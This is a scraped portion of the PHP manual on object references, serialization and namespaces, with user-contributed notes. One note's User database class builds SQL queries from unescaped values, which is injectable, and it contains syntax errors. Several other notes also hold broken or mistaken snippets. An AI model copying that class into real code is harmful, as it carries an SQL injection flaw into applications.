That is, modifying $b reflects the same assignment on $a... The two variables end pointing to the same object, and the other one is lost. To sum up is a good practice NOT using aliasing when handling PHP5 objects, unless your are really really sure of what you are doing.
lazybones_senior 01-Oct-2008 03:57
WHOA... KEEP IT SIMPLE!

In regards to secure_admin's note: You've used OOP to simplify PHP's ability to create and use object references. Now use PHP's static keyword to simplify your OOP.

<?php

class DataModelControl {
  protected static $data = 256; // default value;
  protected $name;

  public function __construct($dmcName) {
    $this->name = $dmcName;
  }

  public static function setData($dmcData) {
    if(is_numeric($dmcData)) {
      self::$data = $dmcData;
    }
  }

  public function __toString() {
    return "DataModelControl [name=$this->name, data=" . self::$data . "]";
  }
}

# create several instances of DataModelControl...
$dmc1 = new DataModelControl('dmc1');
$dmc2 = new DataModelControl('dmc2');
$dmc3 = new DataModelControl('dmc3');
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';

# To change data, use any DataModelControl object...
$dmc2->setData(512);
# Or, call setData() directly from the class...
DataModelControl::setData(1024);
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';
?>

 DataModelControl [name=dmc1, data=256]
 DataModelControl [name=dmc2, data=256]
 DataModelControl [name=dmc3, data=256]

 DataModelControl [name=dmc1, data=1024]
 DataModelControl [name=dmc2, data=1024]
 DataModelControl [name=dmc3, data=1024]

... even better! Now, PHP creates one copy of $data, that is shared amongst all DataModelControl objects.
wbcarts at juno dot com 30-Sep-2008 10:23
A BIT DILUTED... but it's alright!

In the PHP example above, the function foo($obj), will actually create a $foo property to "any object" passed to it - which brings some confusion to me:
  $obj = new stdClass();
  foo($obj);    // tags on a $foo property to the object
                // why is this method here?
Furthermore, in OOP, it is not a good idea for "global functions" to operate on an object's properties... and it is not a good idea for your class objects to let them. To illustrate the point, the example should be:

<?php

class A {
  protected $foo = 1;

  public function getFoo() {
    return $this->foo;
  }

  public function setFoo($val) {
    if($val > 0 && $val < 10) {
      $this->foo = $val;
    }
  }

  public function __toString() {
    return "A [foo=$this->foo]";
  }
}

$a = new A();
$b = $a;                        // $a and $b are copies of the same identifier
                                // ($a) = ($b) = <id>
$b->setFoo(2);
echo $a->getFoo() . '<br>';

$c = new A();
$d = &$c;                       // $c and $d are references
                                // ($c,$d) = <id>
$d->setFoo(2);
echo $c . '<br>';

$e = new A();
$e->setFoo(16);                 // will be ignored
echo $e;

?>
 - - -
 2
 A [foo=2]
 A [foo=1]
 - - -
Because the global function foo() has been deleted, class A is more defined, robust and will handle all foo operations... and only for objects of type A. I can now take it for granted and see clearly that your are talking about "A" objects and their references. But it still reminds me too much of cloning and object comparisons, which to me borders on machine-like programming and not object-oriented programming, which is a totally different way to think.


Object Serialization

Serializing objects - objects in sessions

serialize() returns a string containing a byte-stream representation of any value that can be stored in PHP. unserialize() can use this string to recreate the original variable values. Using serialize to save an object will save all variables in an object. The methods in an object will not be saved, only the name of the class.

In order to be able to unserialize() an object, the class of that object needs to be defined. That is, if you have an object of class A and serialize this, you'll get a string that refers to class A and contains all values of variables contained in it. If you want to be able to unserialize this in another file, an object of class A, the definition of class A must be present in that file first. This can be done for example by storing the class definition of class A in an include file and including this file or making use of the spl_autoload_register() function.

<?php
// classa.inc:

  class A {
      public $one = 1;

      public function show_one() {
          echo $this->one;
      }
  }

// page1.php:

  include("classa.inc");

  $a = new A;
  $s = serialize($a);
  // store $s somewhere where page2.php can find it.
  file_put_contents('store', $s);

// page2.php:

  // this is needed for the unserialize to work properly.
  include("classa.inc");

  $s = file_get_contents('store');
  $a = unserialize($s);

  // now use the function show_one() of the $a object.
  $a->show_one();
?>

If an application is using sessions and uses session_register() to register objects, these objects are serialized automatically at the end of each PHP page, and are unserialized automatically on each of the following pages. This means that these objects can show up on any of the application's pages once they become part of the session. However, the session_register() is removed since PHP 5.4.0.

It is strongly recommended that if an application serializes objects, for use later in the application, that the application includes the class definition for that object throughout the application. Not doing so might result in an object being unserialized without a class definition, which will result in PHP giving the object a class of __PHP_Incomplete_Class_Name, which has no methods and would render the object useless.

So if in the example above $a became part of a session by running session_register("a"), you should include the file classa.inc on all of your pages, not only page1.php and page2.php.

Beyond the above advice, note that you can also hook into the serialization and unserialization events on an object using the __sleep() and __wakeup() methods. Using __sleep() also allows you to only serialize a subset of the object's properties.

User Contributed Notes

wbcarts at juno dot com 20-Dec-2009 09:39
PHP OBJECT SERIALIZATION

I use a database to store info rather than storing PHP Objects themselves. However, I find that having a PHP Object acting as an interface to my db is way useful. For example, suppose I have a TABLE called 'user' that looks like this.

CREATE TABLE user {
  user_id MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT,
  user_first VARCHAR(24) NOT NULL,
  user_last VARCHAR(24) NOT NULL,
  PRIMARY KEY (user_id)
);

Then I would create a PHP Class definition like so:

<?php

require('includes/db_connect.php');

class User
{
  protected $user_id;
  protected $user_first;
  protected $user_last;

  public function __construct($id, $first, $last)
  {
    $this->user_id = $id;
    $this->user_first = $first;
    $this->user_last = $last;
  }

  # FUNCTIONS TO RETRIEVE INFO - DESERIALIZE.
  public static function db_user_by_id($dbc, $id)
  {
    $query = "SELECT * FROM user WHERE user_id=$id LIMIT 1";
    return User::db_select($dbc, $query);
  }

  public static function db_user_by_name($dbc, $first, $last)
  {
    $query = "SELECT * FROM user WHERE user_first='$first' AND user_last='$last' LIMIT 1";
    return User::db_select($dbc, $query);
  }

  protected static function db_select($dbc, $query);
  {
    $result = mysqli_query($dbc, $query);
    if(mysqli_num_rows($result) > 0)
    {
      $row = mysqli_fetch_array($result, MYSQLI_NUM);
      return new User($row[0], $row[1], $row[2]);
    }
  }

  # FUNCTIONS TO SAVE INFO - SERIALIZE.
  public function insert($dbc)
  {
    $query = "INSERT INTO user VALUES (NULL, '$this->user_first', '$this->user_last')";
    $result = mysqli_query($dbc, $query);
  }

  public function update($dbc)
  {
    $query = "UPDATE user SET user_first='$this->user_first', user_last='$this->user_last' WHERE user_id=$this->id LIMIT 1";
    $result = mysqli_query($dbc, $query);
  }

  # GETTER and SETTER FUNCTIONS - DO NOT ALLOW SETTING OF ID
  public function getId() {return $this->user_id;)
  public function getFirst() {return $this->user_first;)
  public function getLast() {return $this->user_last;)
  public function setFirst($first) {$this->user_first = $first;}
  public function setLast($last) {$this->user_last = $last;}

  # CUSTOM FUNCTIONS
  public function getFullName() {return $this->user_first . ' ' . $this->user_last;}
  public function getLastFirst() {return $this->user_last . ', ' . $this->user_first;}
}

?>

Using PHP Objects for SERIALIZATION and DESERIALIZATION is now super-easy, for example:

<?php

require('User.php');

// INSERT a new user.
$user = new User(0, 'Frank', 'American');
$user->insert($dbc);  // done!

// UPDATE an existing user.
$user = User::db_user_by_id($dbc, 223);
$user->setFirst('Johnny');
$user->update($dbc);  // done!

mysqli_close($dbc);

?>
php at lanar dot com dot au 19-Oct-2009 01:47
Note that static members of an object are not serialized.


OOP Changelog

Changes to the PHP 5 OOP model are logged here. Descriptions and other notes regarding these features are documented within the OOP 5 documentation.

Version | Description
5.5.0 | Added: finally to handle exceptions.
5.4.0 | Added: traits.
5.4.0 | Changed: If an abstract class defines a signature for the constructor it will now be enforced.
5.3.3 | Changed: Methods with the same name as the last element of a namespaced class name will no longer be treated as constructor. This change doesn't affect non-namespaced classes.
5.3.0 | Changed: Classes that implement interfaces with methods that have default values in the prototype are no longer required to match the interface's default value.
5.3.0 | Changed: It's now possible to reference the class using a variable (e.g., echo $classname::constant;). The variable's value can not be a keyword (e.g., self, parent or static).
5.3.0 | Changed: An E_WARNING level error is issued if the magic overloading methods are declared static. It also enforces the public visibility requirement.
5.3.0 | Changed: Prior to 5.3.0, exceptions thrown in the __autoload() function could not be caught in the catch block, and would result in a fatal error. Exceptions now thrown in the __autoload function can be caught in the catch block, with one provison. If throwing a custom exception, then the custom exception class must be available. The __autoload function may be used recursively to autoload the custom exception class.
5.3.0 | Added: The __callStatic method.
5.3.0 | Added: heredoc and nowdoc support for class const and property definitions. Note: heredoc values must follow the same rules as double-quoted strings, (e.g., no variables within).
5.3.0 | Added: Late Static Bindings.
5.3.0 | Added: The __invoke() method.
5.2.0 | Changed: The __toString() method was only called when it was directly combined with echo or print. But now, it is called in any string context (e.g. in printf() with %s modifier) but not in other types contexts (e.g. with %d modifier). Since PHP 5.2.0, converting objects without a __toString method to string emits a E_RECOVERABLE_ERROR level error.
5.1.3 | Changed: In previous versions of PHP 5, the use of var was considered deprecated and would issue an E_STRICT level error. It's no longer deprecated, therefore does not emit the error.
5.1.0 | Changed: The __set_state() static method is now called for classes exported by var_export().
5.1.0 | Added: The __isset() and __unset() methods.

User Contributed Notes

Anonymous 29-Sep-2014 02:32
> 5.5.0     Added: finally to handle exceptions.
Why it's mentioned here? There is separate section about Exceptions.


Namespaces

Table of Contents

  • Namespaces overview
  • Defining namespaces
  • Declaring sub-namespaces
  • Defining multiple namespaces in the same file
  • Using namespaces: Basics
  • Namespaces and dynamic language features
  • namespace keyword and __NAMESPACE__ constant
  • Using namespaces: Aliasing/Importing
  • Global space
  • Using namespaces: fallback to global function/constant
  • Name resolution rules
  • FAQ: things you need to know about namespaces

User Contributed Notes

php at lanar dot com dot au 03-Feb-2014 02:16
Be warned that it is not trivial to convert a project to use namespaces. If you add the same namespace to the top of all your files, your application will break.
All objects in the global namespace, such as ArrayObject, must have a backslash (\) prepend to them.
If you use get_class() and instanceof, you will have to make adjustments here to.
If you have an autoloader, you will need to change its behavior.
It can be done, but subtle errors can creep in and are tedious to rectify.
guido at go-mobile dot be 18-Apr-2013 10:27
Strange, it worked only when I removed the backslash before feline.
So like this is OK : echo feline\Cat::says()
Anonymous 25-May-2011 08:06
The keyword 'use' has two different applications, but the reserved word table links to here.

It can apply to namespace constucts:

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use animate;
  echo \feline\Cat::says(), "<br />\n";
  echo \canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>

Note that
felineCat::says()
should be
\feline\Cat::says()
(and similar for the others)
but this comment form deletes the backslash (why???)

The 'use' keyword also applies to closure constructs:

<?php function getTotal($products_costs, $tax)
    {
        $total = 0.00;

        $callback =
            function ($pricePerItem) use ($tax, &$total)
            {

                $total += $pricePerItem * ($tax + 1.0);
            };

        array_walk($products_costs, $callback);
        return round($total, 2);
    }
?>


Namespaces overview

(PHP 5 >= 5.3.0)

What are namespaces? In the broadest definition namespaces are a way of encapsulating items. This can be seen as an abstract concept in many places. For example, in any operating system directories serve to group related files, and act as a namespace for the files within them. As a concrete example, the file foo.txt can exist in both directory /home/greg and in /home/other, but two copies of foo.txt cannot co-exist in the same directory. In addition, to access the foo.txt file outside of the /home/greg directory, we must prepend the directory name to the file name using the directory separator to get /home/greg/foo.txt. This same principle extends to namespaces in the programming world.

In the PHP world, namespaces are designed to solve two problems that authors of libraries and applications encounter when creating re-usable code elements such as classes or functions:

  1. Name collisions between code you create, and internal PHP classes/functions/constants or third-party classes/functions/constants.
  2. Ability to alias (or shorten) Extra_Long_Names designed to alleviate the first problem, improving readability of source code.

PHP Namespaces provide a way in which to group related classes, interfaces, functions and constants. Here is an example of namespace syntax in PHP:

Example #1 Namespace syntax example

<?php
namespace my\name; // see "Defining Namespaces" section

class MyClass {}
function myfunction() {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass; // see "Global Space" section

$a = strlen('hi'); // see "Using namespaces: fallback to global
                   // function/constant" section

$d = namespace\MYCONST; // see "namespace operator and __NAMESPACE__
                        // constant" section
$d = __NAMESPACE__ . '\MYCONST';
echo constant($d); // see "Namespaces and dynamic language features" section
?>

Note:

Namespace names PHP and php, and compound names starting with these names (like PHP\Classes) are reserved for internal language use and should not be used in the userspace code.

User Contributed Notes

php dot net at e-z dot name 03-Nov-2013 02:32
php namespaces are case-insensitive:

file1.php:
<?php
namespace foo;

function bar()
{
    echo 'from bar';
}

?>

file2.php:
<?php

fOo\bar() // output: from bar

?>
Dmitry Snytkine 31-May-2011 03:54
Just a note: namespace (even nested or sub-namespace) cannot be just a number, it must start with a letter.
For example, lets say you want to use namespace for versioning of your packages or versioning of your API:

namespace Mynamespace\1;  // Illegal
Instead use this:
namespace Mynamespace\v1; // OK
SteveWa 27-Feb-2011 05:45
Thought this might help other newbies like me...

Name collisions means:
you create a function named db_connect, and somebody elses code that you use in your file (i.e. an include) has the same function with the same name.

To get around that problem, you rename your function SteveWa_db_connect  which makes your code longer and harder to read.

Now you can use namespaces to keep your function name separate from anyone else's function name, and you won't have to make extra_long_named functions to get around the name collision problem.

So a namespace is like a pointer to a file path where you can find the source of the function you are working with


Defining namespaces

(PHP 5 >= 5.3.0)

Although any valid PHP code can be contained within a namespace, only the following types of code are affected by namespaces: classes (including abstracts and traits), interfaces, functions and constants.

Namespaces are declared using the namespace keyword. A file containing a namespace must declare the namespace at the top of the file before any other code - with one exception: the declare keyword.

Example #1 Declaring a single namespace

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

?>
The only code construct allowed before a namespace declaration is the declare statement, for defining encoding of a source file. In addition, no non-PHP code may precede a namespace declaration, including extra whitespace:

Example #2 Declaring a single namespace

<html>
<?php
namespace MyProject; // fatal error - namespace must be the first statement in the script
?>

In addition, unlike any other PHP construct, the same namespace may be defined in multiple files, allowing splitting up of a namespace's contents across the filesystem.

User Contributed Notes

Najeem M Illyas 18-Sep-2014 10:25
While executing the script I am getting error:

<?php
namespace SebastianBergmann\Money;
/**
 * Money
 *
/

class MoneyTest extends \PHPUnit_Framework_TestCase
{
    /**

}

?>

C:\>phpunit --coverage-html ./report C:\xampp\htdocs\unit

Fatal error: Namespace declaration statement has to be the very first statement
in the script in C:\xampp\htdocs\unit\MoneyTest.php on line 2

Call Stack:
    0.0000     124064   1. {main}() C:\xampp\php\phpunit:0
    0.0000     359648   2. PHPUnit_TextUI_Command::main() C:\xampp\php\phpunit:4
6
    0.0000     363064   3. PHPUnit_TextUI_Command->run() C:\xampp\php\pear\PHPUn
it\TextUI\Command.php:129
    0.0100     542472   4. PHPUnit_Runner_BaseTestRunner->getTest() C:\xampp\php
\pear\PHPUnit\TextUI\Command.php:150
    0.0100     681336   5. PHPUnit_Framework_TestSuite->addTestFiles() C:\xampp\
php\pear\PHPUnit\Runner\BaseTestRunner.php:96
    0.0100     681768   6. PHPUnit_Framework_TestSuite->addTestFile() C:\xampp\p
hp\pear\PHPUnit\Framework\TestSuite.php:416
    0.0200     739488   7. PHPUnit_Util_Fileloader::checkAndLoad() C:\xampp\php\
pear\PHPUnit\Framework\TestSuite.php:355
    0.0200     739600   8. PHPUnit_Util_Fileloader::load() C:\xampp\php\pear\PHP
Unit\Util\Fileloader.php:76

Here in the error:
Fatal error: Namespace declaration statement has to be the very first statement
in the script in C:\xampp\htdocs\unit\MoneyTest.php on line 2

There is no error found in the code, but phpunit is throwing the error.
kuzawinski dot marcin at NOSPAM dot gmail dot com 06-Aug-2014 06:52
If your code looks like this:

<?php
    namespace NS;
?>

...and you still get "Namespace declaration statement has to be the very first statement in the script" Fatal error, then you probably use UTF-8 encoding (which is good) with Byte Order Mark, aka BOM (which is bad). Try to convert your files to "UTF-8 without BOM", and it should be ok.
Roadowl 25-Feb-2014 08:42
quote:
Defining namespaces

(...)
Namespaces are declared using the namespace keyword. A file containing a namespace must declare the namespace at the top of the file before any other code - with one exception: the declare keyword.

end quote.

So we have a title that talks 'defining' and a piece of text that talks 'declare' three times, one of which could be referring to some other 'declare' than the former two.

Please, documentation authors -- get your act together, finally.
FatBat 09-Aug-2013 06:46
Expanding on @danbettles note, it is better to always be explicit about which constant to use.

<?php
    namespace NS;

    define(__NAMESPACE__ .'\foo','111');
    define('foo','222');

    echo foo;  // 111.
    echo \foo;  // 222.
    echo \NS\foo  // 111.
    echo NS\foo  // fatal error. assumes \NS\NS\foo.
?>
wyattbiker 01-Jun-2013 09:19
<?php
//Even though you cant add anything before the 1st namespace, you can add something before subsequent namespaces.
namespace MyProject;

function myfunc(){
    return 1;
}
echo myfunc();
?>
<p>Here I can add stuff before the 2nd namespace</p>
<?php

namespace MyProject2;

function myfunc(){
    return 2;
}
echo myfunc();
?>
<p>Switch back to first namespace</p>
<?php
namespace MyProject;
echo myfunc();
?>
huskyr at gmail dot com 05-Oct-2009 01:20
"A file containing a namespace must declare the namespace at the top of the file before any other code"

It might be obvious, but this means that you *can* include comments and white spaces before the namespace keyword.

<?php
// Lots
// of
// interesting
// comments and white space

namespace Foo;
class Bar {
}
?>
jeremeamia at gmail dot com 14-Jul-2009 05:43
You should not try to create namespaces that use PHP keywords. These will cause parse errors.

Examples:

<?php
namespace Project/Classes/Function; // Causes parse errors
namespace Project/Abstract/Factory; // Causes parse errors
?>
danbettles at yahoo dot co dot uk 14-Apr-2009 09:02
Regarding constants defined with define() inside namespaces...

define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
David Drakard 07-Sep-2008 02:56
I agree with SR, the new namespaces feature has solved a number of problems for me which would have required horrible coding to solve otherwise.

An example use:
Say you are making a small script, and write a class to connect to a database, calling it 'connection'. If you find your script useful and gradually expand it into a large application, you may want to rename the class. Without namespaces, you have to change the name and every reference to it (say in inheriting objects), possibly creating a load of bugs. With namespaces you can drop the related classes into a namespace with one line of code, and less chance of errors.

This is by no means one of the biggest problems namespaces solve; I would suggest reading about their advantages before citicising them. They provide an elegant solutions to several problems involved in creating complex systems.
Baptiste 14-May-2008 09:47
There is nothing wrong with PHP namespaces, except that those 2 instructions give a false impression of package management.
... while they just correspond to the "with()" instruction of Javascript.

By contrast, a package is a namespace for its members, but it offers more (like deployment facilities), and a compiler knows exactly what classes are in a package, and where to find them.
Anonymous 01-Apr-2008 08:11
@ RS: Also, you can specify how your __autoload() function looks for the files. That way another users namespace classes cannot overwrite yours unless they replace your file specifically.


Declaring sub-namespaces

(PHP 5 >= 5.3.0)

Much like directories and files, PHP namespaces also contain the ability to specify a hierarchy of namespace names. Thus, a namespace name can be defined with sub-levels:

Example #1 Declaring a single namespace with hierarchy

<?php
namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

?>
The above example creates constant MyProject\Sub\Level\CONNECT_OK, class MyProject\Sub\Level\Connection and function MyProject\Sub\Level\connect.

User Contributed Notes

do dot not dot reply at foxmail dot com 24-Sep-2014 12:46
treat sub-namespaces as different namespace

a.php:
<?php namespace ABC;
const '__DOMAIN__' = 'example.com';
?>

b.php
<?php namespace ABC\SUBLEVEL;
require 'a.php';
echo __DOMAIN__; //Notice: Use of undefined constant __DOMAIN__
steve dot pye at gmail dot com 17-Sep-2014 03:57
Wait a minute. So the document says to declare it like:

namespace Something\SomethingElse;

and you're saying "never do that"? what the what?
leaksin [ at ] gmail [ dot ] com 30-Jul-2013 11:58
Never use slashes and dot in namespace declaration.

wrong formats:

<?php

namespace first\second.w;

?>

<?php

namespace first/second;

?>


Defining multiple namespaces in the same file

(PHP 5 >= 5.3.0)

Multiple namespaces may also be declared in the same file. There are two allowed syntaxes.

Example #1 Declaring multiple namespaces, simple combination syntax

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
?>

This syntax is not recommended for combining namespaces into a single file. Instead it is recommended to use the alternate bracketed syntax.

Example #2 Declaring multiple namespaces, bracketed syntax

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}
?>

It is strongly discouraged as a coding practice to combine multiple namespaces into the same file. The primary use case is to combine multiple PHP scripts into the same file.

To combine global non-namespaced code with namespaced code, only bracketed syntax is supported. Global code should be encased in a namespace statement with no namespace name as in:

Example #3 Declaring multiple namespaces and unnamespaced code

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // global code
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

No PHP code may exist outside of the namespace brackets except for an opening declare statement.

Example #4 Declaring multiple namespaces and unnamespaced code

<?php
declare(encoding='UTF-8');
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // global code
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

User Contributed Notes

1932 at bk dot ru 01-Nov-2013 12:31
last two examples give:

Fatal error: Call to undefined method MyProject\Connection::start() in Z:\home\test1.ru\www\link.php on line 12
leaksin [ at ] gmail [ dot ] com 31-Jul-2013 07:04
using of global namespaces and multiple namespaces in one PHP file increase the complexity and decrease readability of the code.
Let's try not use this scheme even it's very necessary (although there is not)
kothnok at gmail dot com 03-Nov-2011 07:59
"use" statements are required to be placed after the "namespace my\space" but before the "{".
e.g.

<?php
namespace foo\bar;
use my\space\MyClass;
{

 // place code here

} // end of namespace foo\bar

namespace another\bar;
use my\space\MyClass;
use my\space\AnotherClass;
{

 // place code here

} // end of namespace another\bar
?>


Using namespaces: Basics

(PHP 5 >= 5.3.0)

Before discussing the use of namespaces, it is important to understand how PHP knows which namespaced element your code is requesting. A simple analogy can be made between PHP namespaces and a filesystem. There are three ways to access a file in a file system:

  1. Relative file name like foo.txt. This resolves to currentdirectory/foo.txt where currentdirectory is the directory currently occupied. So if the current directory is /home/foo, the name resolves to /home/foo/foo.txt.
  2. Relative path name like subdirectory/foo.txt. This resolves to currentdirectory/subdirectory/foo.txt.
  3. Absolute path name like /main/foo.txt. This resolves to /main/foo.txt.
The same principle can be applied to namespaced elements in PHP. For example, a class name can be referred to in three ways:
  1. Unqualified name, or an unprefixed class name like $a = new foo(); or foo::staticmethod();. If the current namespace is currentnamespace, this resolves to currentnamespace\foo. If the code is global, non-namespaced code, this resolves to foo. One caveat: unqualified names for functions and constants will resolve to global functions and constants if the namespaced function or constant is not defined. See Using namespaces: fallback to global function/constant for details.
  2. Qualified name, or a prefixed class name like $a = new subnamespace\foo(); or subnamespace\foo::staticmethod();. If the current namespace is currentnamespace, this resolves to currentnamespace\subnamespace\foo. If the code is global, non-namespaced code, this resolves to subnamespace\foo.
  3. Fully qualified name, or a prefixed name with global prefix operator like $a = new \currentnamespace\foo(); or \currentnamespace\foo::staticmethod();. This always resolves to the literal name specified in the code, currentnamespace\foo.

Here is an example of the three kinds of syntax in actual code:

file1.php

<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
    static function staticmethod() {}
}
?>

file2.php

<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
    static function staticmethod() {}
}

/* Unqualified name */
foo(); // resolves to function Foo\Bar\foo
foo::staticmethod(); // resolves to class Foo\Bar\foo, method staticmethod
echo FOO; // resolves to constant Foo\Bar\FOO

/* Qualified name */
subnamespace\foo(); // resolves to function Foo\Bar\subnamespace\foo
subnamespace\foo::staticmethod(); // resolves to class Foo\Bar\subnamespace\foo,
                                  // method staticmethod
echo subnamespace\FOO; // resolves to constant Foo\Bar\subnamespace\FOO

/* Fully qualified name */
\Foo\Bar\foo(); // resolves to function Foo\Bar\foo
\Foo\Bar\foo::staticmethod(); // resolves to class Foo\Bar\foo, method staticmethod
echo \Foo\Bar\FOO; // resolves to constant Foo\Bar\FOO
?>

Note that to access any global class, function or constant, a fully qualified name can be used, such as \strlen() or \Exception or \INI_ALL.

Example #1 Accessing global classes, functions and constants from within a namespace

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // calls global function strlen
$b = \INI_ALL; // accesses global constant INI_ALL
$c = new \Exception('error'); // instantiates global class Exception
?>

User Contributed Notes

Anonymous 27-Oct-2014 10:08
<?php

namespace Foo;

try {
    // Something awful here
    // That will throw a new exception from SPL
}
catch (Exception as $ex) {
    // We will never get here
    // This is because we are catchin Foo\Exception
}
?>

Instead use fully qualified name for the exception to catch it

<?php

namespace Foo;

try {
    // something awful here
    // That will throw a new exception from SPL
}
catch (\Exception as $ex) {
    // Now we can get here at last
}
?>
anon 31-Jan-2014 06:47
The namespace hierarchy will normally mirror the directory hierarchy where the class files are located, but this is not a strict requirement. You could, for example, have several class flles with different namespaces in the same directory.
tom at tomwardrop dot com 26-Feb-2012 07:06
It seems the file system analogy only goes so far. One thing that's missing that would be very useful is relative navigation up the namespace chain, e.g.

<?php
namespace MyProject {
   class Person {}
}

namespace MyProject\People {
    class Adult extends ..\Person {}
}
?>

That would be really nice, especially if you had really deep namespaces. It would save you having to type out the full namespace just to reference a resource one level up.
Lukas Z 06-Dec-2011 12:25
Well variables inside namespaces do not override others since variables are never affected by namespace but always global:
"Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants. "

Source: "Defining Namespaces"
http://www.php.net/manual/en/language.namespaces.definition.php
philip dot preisser at arcor dot de 14-Jun-2011 11:34
Working with variables can overwrite equal variables in other namespaces

<?php // php5 - package-version : 5.3.5-1ubuntu7.2

    namespace
    main
    {}

    namespace
    main\sub1
    {
        $data = 1;
    }

    namespace
    main\sub2
    {
        echo $data;// 1
        $data = 2;
    }

    namespace
    main\sub1
    {
        echo $data;// 2
        $data = 1;
    }

    namespace
    {
        echo $data;// 1
    }

?>
Franois Vespa 22-Dec-2010 02:42
It seems you cannot nest a constant declaration within a if statement

<?php

namespace FOO;

if(eval)
const BAR=true;

// will throw the following error:
// PHP Parse error:  syntax error, unexpected T_CONST

// instead use:

if(eval)
define('FOO\BAR',true);

?>
kukoman at pobox dot sk 17-Oct-2008 08:20
PHP 5.3.0alpha2 (cli)
<?php
//  namespace MyProject\DB;
require 'db.php';

use MyProject\DB; // fine; same as DB\
use MyProject\DB\Connection as DBC; // fine
use MyProject\DB as HM; // fine
use HM\Connection as DBC2; // class call ends with FATAL!!!

$x = new DBC(); // fine
$y = new HM\Connection(); // fine
$z = new DBC2(); // Fatal error: Class 'HM\Connection' not found
?>
richard at richard-sumilang dot com 27-Mar-2008 10:36
Syntax for extending classes in namespaces is still the same.

Lets call this Object.php:

<?php

namespace com\rsumilang\common;

class Object{
   // ... code ...
}

?>

And now lets create a class called String that extends object in String.php:

<?php

class String extends com\rsumilang\common\Object{
   // ... code ...
}

?>

Now if you class String was defined in the same namespace as Object then you don't have to specify a full namespace path:

<?php

namespace com\rsumilang\common;

class String extends Object
{
   // ... code ...
}

?>

Lastly, you can also alias a namespace name to use a shorter name for the class you are extending incase your class is in seperate namespace:

<?php

namespace com\rsumilang\util;
use com\rsumlang\common as Common;

class String extends Common\Object
{
   // ... code ...
}

?>

- Richard Sumilang


Namespaces and dynamic language features

(PHP 5 >= 5.3.0)

PHP's implementation of namespaces is influenced by its dynamic nature as a programming language. Thus, to convert code like the following example into namespaced code:

Example #1 Dynamically accessing elements

example1.php:

<?php
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "global";

$a = 'classname';
$obj = new $a; // prints classname::__construct
$b = 'funcname';
$b(); // prints funcname
echo constant('constname'), "\n"; // prints global
?>
One must use the fully qualified name (class name with namespace prefix). Note that because there is no difference between a qualified and a fully qualified Name inside a dynamic class name, function name, or constant name, the leading backslash is not necessary.

Example #2 Dynamically accessing namespaced elements

<?php
namespace namespacename;
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "namespaced";

include 'example1.php';

$a = 'classname';
$obj = new $a; // prints classname::__construct
$b = 'funcname';
$b(); // prints funcname
echo constant('constname'), "\n"; // prints global

/* note that if using double quotes, "\\namespacename\\classname" must be used */
$a = '\namespacename\classname';
$obj = new $a; // prints namespacename\classname::__construct
$a = 'namespacename\classname';
$obj = new $a; // also prints namespacename\classname::__construct
$b = 'namespacename\funcname';
$b(); // prints namespacename\funcname
$b = '\namespacename\funcname';
$b(); // also prints namespacename\funcname
echo constant('\namespacename\constname'), "\n"; // prints namespaced
echo constant('namespacename\constname'), "\n"; // also prints namespaced
?>

Be sure to read the note about escaping namespace names in strings.

User Contributed Notes

akhoondi+php at gmail dot com 10-Aug-2013 01:17
It might make it more clear if said this way:

One must note that when using a dynamic class name, function name or constant name, the "current namespace", as in http://www.php.net/manual/en/language.namespaces.basics.php is global namespace.

One situation that dynamic class names are used is in 'factory' pattern. Thus, add the desired namespace of your target class before the variable name.

namespaced.php
<?php
// namespaced.php
namespace Mypackage;
class Foo {
    public function factory($name, $global = FALSE)
    {
        if ($global)
            $class = $name;
        else
            $class = 'Mypackage\\' . $name;
        return new $class;
    }
}

class A {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
class B {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
?>

global.php
<?php
// global.php
class A {
    function __construct()
    {
        echo  __METHOD__;
    }
}
?>

index.php
<?php
//  index.php
namespace Mypackage;
